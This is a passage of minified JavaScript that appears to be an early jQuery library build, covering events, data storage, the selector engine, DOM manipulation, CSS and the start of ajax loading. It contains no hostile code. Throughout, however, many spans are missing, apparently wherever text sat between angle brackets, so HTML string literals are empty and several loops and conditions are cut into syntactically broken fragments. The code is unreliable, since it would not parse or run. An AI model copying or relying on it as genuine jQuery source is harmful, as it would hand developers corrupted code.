+false;d.detachEvent("onclick",k)});d.cloneNode(true).fireEvent("onclick")}d=s.createElement("div");d.innerHTML="";a=s.createDocumentFragment();a.appendChild(d.firstChild);c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var k=s.createElement("div");k.style.width=k.style.paddingLeft="1px";s.body.appendChild(k);c.boxModel=c.support.boxModel=k.offsetWidth===2;s.body.removeChild(k).style.display="none"});a=function(k){var n= +s.createElement("div");k="on"+k;var r=k in n;if(!r){n.setAttribute(k,"return;");r=typeof n[k]==="function"}return r};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=j=null}})();c.props={"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ya=0,za={};c.extend({cache:{},expando:G,noData:{embed:true,object:true, +applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var f=a[G],e=c.cache;if(!f&&typeof b==="string"&&d===w)return null;f||(f=++Ya);if(typeof b==="object"){a[G]=f;e[f]=c.extend(true,{},b)}else if(!e[f]){a[G]=f;e[f]={}}a=e[f];if(d!==w)a[b]=d;return typeof b==="string"?a[b]:a}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{if(c.support.deleteExpando)delete a[c.expando]; +else a.removeAttribute&&a.removeAttribute(c.expando);delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===w){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===w&&this.length)f=c.data(this[0],a);return f===w&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this, +a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b=== +w)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var Aa=/[\n\t]/g,ca=/\s+/,Za=/\r/g,$a=/href|src|style/,ab=/(button|input)/i,bb=/(button|input|object|select|textarea)/i, +cb=/^(a|area)$/i,Ba=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(n){var r=c(this);r.addClass(a.call(this,n,r.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d-1)return true;return false},val:function(a){if(a===w){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var j=b?d:0;for(d=b?d+1:e.length;j=0;else if(c.nodeName(this,"select")){var u=c.makeArray(r);c("option",this).each(function(){this.selected= +c.inArray(c(this).val(),u)>=0});if(!u.length)this.selectedIndex=-1}else this.value=r}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return w;if(f&&b in c.attrFn)return c(a)[b](d);f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==w;b=f&&c.props[b]||b;if(a.nodeType===1){var j=$a.test(b);if(b in a&&f&&!j){if(e){b==="type"&&ab.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed"); +a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:bb.test(a.nodeName)||cb.test(a.nodeName)&&a.href?0:w;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&j?a.getAttribute(b,2):a.getAttribute(b);return a===null?w:a}return c.style(a,b,d)}});var O=/\.(.*)$/,db=function(a){return a.replace(/[^\w\s\.\|`]/g, +function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==A&&!a.frameElement)a=A;var e,j;if(d.handler){e=d;d=e.handler}if(!d.guid)d.guid=c.guid++;if(j=c.data(a)){var i=j.events=j.events||{},o=j.handle;if(!o)j.handle=o=function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(o.elem,arguments):w};o.elem=a;b=b.split(" ");for(var k,n=0,r;k=b[n++];){j=e?c.extend({},e):{handler:d,data:f};if(k.indexOf(".")>-1){r=k.split("."); +k=r.shift();j.namespace=r.slice(0).sort().join(".")}else{r=[];j.namespace=""}j.type=k;j.guid=d.guid;var u=i[k],z=c.event.special[k]||{};if(!u){u=i[k]=[];if(!z.setup||z.setup.call(a,f,r,o)===false)if(a.addEventListener)a.addEventListener(k,o,false);else a.attachEvent&&a.attachEvent("on"+k,o)}if(z.add){z.add.call(a,j);if(!j.handler.guid)j.handler.guid=d.guid}u.push(j);c.event.global[k]=true}a=null}}},global:{},remove:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){var e,j=0,i,o,k,n,r,u,z=c.data(a), +C=z&&z.events;if(z&&C){if(b&&b.type){d=b.handler;b=b.type}if(!b||typeof b==="string"&&b.charAt(0)==="."){b=b||"";for(e in C)c.event.remove(a,e+b)}else{for(b=b.split(" ");e=b[j++];){n=e;i=e.indexOf(".")<0;o=[];if(!i){o=e.split(".");e=o.shift();k=new RegExp("(^|\\.)"+c.map(o.slice(0).sort(),db).join("\\.(?:.*\\.)?")+"(\\.|$)")}if(r=C[e])if(d){n=c.event.special[e]||{};for(B=f||0;B=0){a.type= +e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();c.event.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return w;a.result=w;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(j){}if(!a.isPropagationStopped()&& +f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){f=a.target;var i,o=c.nodeName(f,"a")&&e==="click",k=c.event.special[e]||{};if((!k._default||k._default.call(d,a)===false)&&!o&&!(f&&f.nodeName&&c.noData[f.nodeName.toLowerCase()])){try{if(f[e]){if(i=f["on"+e])f["on"+e]=null;c.event.triggered=true;f[e]()}}catch(n){}if(i)f["on"+e]=i;c.event.triggered=false}}},handle:function(a){var b,d,f,e;a=arguments[0]=c.event.fix(a||A.event);a.currentTarget=this;b=a.type.indexOf(".")<0&&!a.exclusive; +if(!b){d=a.type.split(".");a.type=d.shift();f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)")}e=c.data(this,"events");d=e[a.type];if(e&&d){d=d.slice(0);e=0;for(var j=d.length;e-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d},fa=function(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Fa(d);if(a.type!=="focusout"||d.type!=="radio")c.data(d,"_change_data", +e);if(!(f===w||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}};c.event.special.change={filters:{focusout:fa,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return fa.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return fa.call(this,a)},beforeactivate:function(a){a=a.target;c.data(a, +"_change_data",Fa(a))}},setup:function(){if(this.type==="file")return false;for(var a in ea)c.event.add(this,a+".specialChange",ea[a]);return da.test(this.nodeName)},teardown:function(){c.event.remove(this,".specialChange");return da.test(this.nodeName)}};ea=c.event.special.change.filters}s.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,f)}c.event.special[b]={setup:function(){this.addEventListener(a, +d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var j in d)this[b](j,f,d[j],e);return this}if(c.isFunction(f)){e=f;f=w}var i=b==="one"?c.proxy(e,function(k){c(this).unbind(k,i);return e.apply(this,arguments)}):e;if(d==="unload"&&b!=="one")this.one(d,f,e);else{j=0;for(var o=this.length;j0){y=t;break}}t=t[g]}m[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g, +e=0,j=Object.prototype.toString,i=false,o=true;[0,0].sort(function(){o=false;return 0});var k=function(g,h,l,m){l=l||[];var q=h=h||s;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||typeof g!=="string")return l;for(var p=[],v,t,y,S,H=true,M=x(h),I=g;(f.exec(""),v=f.exec(I))!==null;){I=v[3];p.push(v[1]);if(v[2]){S=v[3];break}}if(p.length>1&&r.exec(g))if(p.length===2&&n.relative[p[0]])t=ga(p[0]+p[1],h);else for(t=n.relative[p[0]]?[h]:k(p.shift(),h);p.length;){g=p.shift();if(n.relative[g])g+=p.shift(); +t=ga(g,t)}else{if(!m&&p.length>1&&h.nodeType===9&&!M&&n.match.ID.test(p[0])&&!n.match.ID.test(p[p.length-1])){v=k.find(p.shift(),h,M);h=v.expr?k.filter(v.expr,v.set)[0]:v.set[0]}if(h){v=m?{expr:p.pop(),set:z(m)}:k.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=v.expr?k.filter(v.expr,v.set):v.set;if(p.length>0)y=z(t);else H=false;for(;p.length;){var D=p.pop();v=D;if(n.relative[D])v=p.pop();else D="";if(v==null)v=h;n.relative[D](y,v,M)}}else y=[]}y||(y=t);y||k.error(D|| +g);if(j.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))l.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&y[g].nodeType===1&&l.push(t[g]);else l.push.apply(l,y);else z(y,l);if(S){k(S,q,l,m);k.uniqueSort(l)}return l};k.uniqueSort=function(g){if(B){i=o;g.sort(B);if(i)for(var h=1;h":function(g,h){var l=typeof h==="string";if(l&&!/\W/.test(h)){h=h.toLowerCase();for(var m=0,q=g.length;m=0))l||m.push(v);else if(l)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()}, +CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,l,m,q,p){h=g[1].replace(/\\/g,"");if(!p&&n.attrMap[h])g[1]=n.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,l,m,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=k(g[3],null,null,h);else{g=k.filter(g[3],h,l,true^q);l||m.push.apply(m, +g);return false}else if(n.match.POS.test(g[0])||n.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,l){return!!k(l[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)}, +text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}}, +setFilters:{first:function(g,h){return h===0},last:function(g,h,l,m){return h===m.length-1},even:function(g,h){return h%2===0},odd:function(g,h){return h%2===1},lt:function(g,h,l){return hl[3]-0},nth:function(g,h,l){return l[3]-0===h},eq:function(g,h,l){return l[3]-0===h}},filter:{PSEUDO:function(g,h,l,m){var q=h[1],p=n.filters[q];if(p)return p(g,l,h,m);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h= +h[3];l=0;for(m=h.length;l=0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var l=h[1];g=n.attrHandle[l]?n.attrHandle[l](g):g[l]!=null?g[l]:g.getAttribute(l);l=g+"";var m=h[2];h=h[4];return g==null?m==="!=":m=== +"="?l===h:m==="*="?l.indexOf(h)>=0:m==="~="?(" "+l+" ").indexOf(h)>=0:!h?l&&g!==false:m==="!="?l!==h:m==="^="?l.indexOf(h)===0:m==="$="?l.substr(l.length-h.length)===h:m==="|="?l===h||l.substr(0,h.length+1)===h+"-":false},POS:function(g,h,l,m){var q=n.setFilters[h[2]];if(q)return q(g,l,h,m)}}},r=n.match.POS;for(var u in n.match){n.match[u]=new RegExp(n.match[u].source+/(?![^\[]*\])(?![^\(]*\))/.source);n.leftMatch[u]=new RegExp(/(^(?:.|\r|\n)*?)/.source+n.match[u].source.replace(/\\(\d+)/g,function(g, +h){return"\\"+(h-0+1)}))}var z=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};try{Array.prototype.slice.call(s.documentElement.childNodes,0)}catch(C){z=function(g,h){h=h||[];if(j.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var l=0,m=g.length;l";var l=s.documentElement;l.insertBefore(g,l.firstChild);if(s.getElementById(h)){n.find.ID=function(m,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(m[1]))?q.id===m[1]||typeof q.getAttributeNode!=="undefined"&& +q.getAttributeNode("id").nodeValue===m[1]?[q]:w:[]};n.filter.ID=function(m,q){var p=typeof m.getAttributeNode!=="undefined"&&m.getAttributeNode("id");return m.nodeType===1&&p&&p.nodeValue===q}}l.removeChild(g);l=g=null})();(function(){var g=s.createElement("div");g.appendChild(s.createComment(""));if(g.getElementsByTagName("*").length>0)n.find.TAG=function(h,l){l=l.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var m=0;l[m];m++)l[m].nodeType===1&&h.push(l[m]);l=h}return l};g.innerHTML=""; +if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")n.attrHandle.href=function(h){return h.getAttribute("href",2)};g=null})();s.querySelectorAll&&function(){var g=k,h=s.createElement("div");h.innerHTML="

";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){k=function(m,q,p,v){q=q||s;if(!v&&q.nodeType===9&&!x(q))try{return z(q.querySelectorAll(m),p)}catch(t){}return g(m,q,p,v)};for(var l in g)k[l]=g[l];h=null}}(); +(function(){var g=s.createElement("div");g.innerHTML="
";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){n.order.splice(1,0,"CLASS");n.find.CLASS=function(h,l,m){if(typeof l.getElementsByClassName!=="undefined"&&!m)return l.getElementsByClassName(h[1])};g=null}}})();var E=s.compareDocumentPosition?function(g,h){return!!(g.compareDocumentPosition(h)&16)}: +function(g,h){return g!==h&&(g.contains?g.contains(h):true)},x=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},ga=function(g,h){var l=[],m="",q;for(h=h.nodeType?[h]:h;q=n.match.PSEUDO.exec(g);){m+=q[0];g=g.replace(n.match.PSEUDO,"")}g=n.relative[g]?g+"*":g;q=0;for(var p=h.length;q=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f0)for(var j=d;j0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,j= +{},i;if(f&&a.length){e=0;for(var o=a.length;e-1:c(f).is(e)){d.push({selector:i,elem:f});delete j[i]}}f=f.parentNode}}return d}var k=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(n,r){for(;r&&r.ownerDocument&&r!==b;){if(k?k.index(r)>-1:c(r).is(a))return r;r=r.parentNode}return null})},index:function(a){if(!a||typeof a=== +"string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),a);return this.pushStack(qa(a[0])||qa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode", +d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")? +a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);eb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):e;if((this.length>1||gb.test(f))&&fb.test(a))e=e.reverse();return this.pushStack(e,a,R.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===w||a.nodeType!==1||!c(a).is(d));){a.nodeType=== +1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==b&&d.push(a);return d}});var Ja=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ka=/(<([\w:]+)[^>]*?)\/>/g,hb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,La=/<([\w:]+)/,ib=/"},F={option:[1,""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div
","
"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d= +c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==w)return this.empty().append((this[0]&&this[0].ownerDocument||s).createTextNode(a));return c.text(this)},wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this}, +wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})}, +prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b, +this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},remove:function(a,b){for(var d=0,f;(f=this[d])!=null;d++)if(!a||c.filter(a,[f]).length){if(!b&&f.nodeType===1){c.cleanData(f.getElementsByTagName("*"));c.cleanData([f])}f.parentNode&&f.parentNode.removeChild(f)}return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++)for(b.nodeType===1&&c.cleanData(b.getElementsByTagName("*"));b.firstChild;)b.removeChild(b.firstChild); +return this},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Ja,"").replace(/=([^="'>\s]+\/)>/g,'="$1">').replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){ra(this,b);ra(this.find("*"),b.find("*"))}return b},html:function(a){if(a===w)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Ja, +""):null;else if(typeof a==="string"&&!ta.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(La.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Ka,Ma);try{for(var b=0,d=this.length;b0||e.cacheable||this.length>1?k.cloneNode(true):k)}o.length&&c.each(o,Qa)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);var e=this.length===1&&this[0].parentNode;if(e&&e.nodeType===11&&e.childNodes.length===1&&d.length===1){d[b](this[0]); +return this}else{e=0;for(var j=d.length;e0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),i);f=f.concat(i)}return this.pushStack(f,a,d.selector)}}});c.extend({clean:function(a,b,d,f){b=b||s;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||s;for(var e=[],j=0,i;(i=a[j])!=null;j++){if(typeof i==="number")i+="";if(i){if(typeof i==="string"&&!jb.test(i))i=b.createTextNode(i);else if(typeof i==="string"){i=i.replace(Ka,Ma);var o=(La.exec(i)||["", +""])[1].toLowerCase(),k=F[o]||F._default,n=k[0],r=b.createElement("div");for(r.innerHTML=k[1]+i+k[2];n--;)r=r.lastChild;if(!c.support.tbody){n=ib.test(i);o=o==="table"&&!n?r.firstChild&&r.firstChild.childNodes:k[1]===""&&!n?r.childNodes:[];for(k=o.length-1;k>=0;--k)c.nodeName(o[k],"tbody")&&!o[k].childNodes.length&&o[k].parentNode.removeChild(o[k])}!c.support.leadingWhitespace&&V.test(i)&&r.insertBefore(b.createTextNode(V.exec(i)[0]),r.firstChild);i=r.childNodes}if(i.nodeType)e.push(i);else e= +c.merge(e,i)}}if(d)for(j=0;e[j];j++)if(f&&c.nodeName(e[j],"script")&&(!e[j].type||e[j].type.toLowerCase()==="text/javascript"))f.push(e[j].parentNode?e[j].parentNode.removeChild(e[j]):e[j]);else{e[j].nodeType===1&&e.splice.apply(e,[j+1,0].concat(c.makeArray(e[j].getElementsByTagName("script"))));d.appendChild(e[j])}return e},cleanData:function(a){for(var b,d,f=c.cache,e=c.event.special,j=c.support.deleteExpando,i=0,o;(o=a[i])!=null;i++)if(d=o[c.expando]){b=f[d];if(b.events)for(var k in b.events)e[k]? +c.event.remove(o,k):Ca(o,k,b.handle);if(j)delete o[c.expando];else o.removeAttribute&&o.removeAttribute(c.expando);delete f[d]}}});var kb=/z-?index|font-?weight|opacity|zoom|line-?height/i,Na=/alpha\([^)]*\)/,Oa=/opacity=([^)]*)/,ha=/float/i,ia=/-([a-z])/ig,lb=/([A-Z])/g,mb=/^-?\d+(?:px)?$/i,nb=/^-?\d/,ob={position:"absolute",visibility:"hidden",display:"block"},pb=["Left","Right"],qb=["Top","Bottom"],rb=s.defaultView&&s.defaultView.getComputedStyle,Pa=c.support.cssFloat?"cssFloat":"styleFloat",ja= +function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===w)return c.curCSS(d,f);if(typeof e==="number"&&!kb.test(f))e+="px";c.style(d,f,e)})};c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return w;if((b==="width"||b==="height")&&parseFloat(d)<0)d=w;var f=a.style||a,e=d!==w;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter= +Na.test(a)?a.replace(Na,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Oa.exec(f.filter)[1])/100+"":""}if(ha.test(b))b=Pa;b=b.replace(ia,ja);if(e)f[b]=d;return f[b]},css:function(a,b,d,f){if(b==="width"||b==="height"){var e,j=b==="width"?pb:qb;function i(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(j,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a, +"border"+this+"Width",true))||0})}a.offsetWidth!==0?i():c.swap(a,ob,i);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&a.currentStyle){f=Oa.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ha.test(b))b=Pa;if(!d&&e&&e[b])f=e[b];else if(rb){if(ha.test(b))b="float";b=b.replace(lb,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f= +a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ia,ja);f=a.currentStyle[b]||a.currentStyle[d];if(!mb.test(f)&&nb.test(f)){b=e.left;var j=a.runtimeStyle.left;a.runtimeStyle.left=a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=j}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b= +a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var sb=J(),tb=//gi,ub=/select|textarea/i,vb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ka=/\?/,wb=/(\?|&)_=.*?(&|$)/,xb=/^(\w+:)?\/\/([^\/?#]+)/,yb=/%20/g,zb=c.fn.load;c.fn.extend({load:function(a,b,d){if(typeof a!== +"string")return zb.call(this,a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=c.param(b,c.ajaxSettings.traditional);f="POST"}var j=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(i,o){if(o==="success"||o==="notmodified")j.html(e?c("
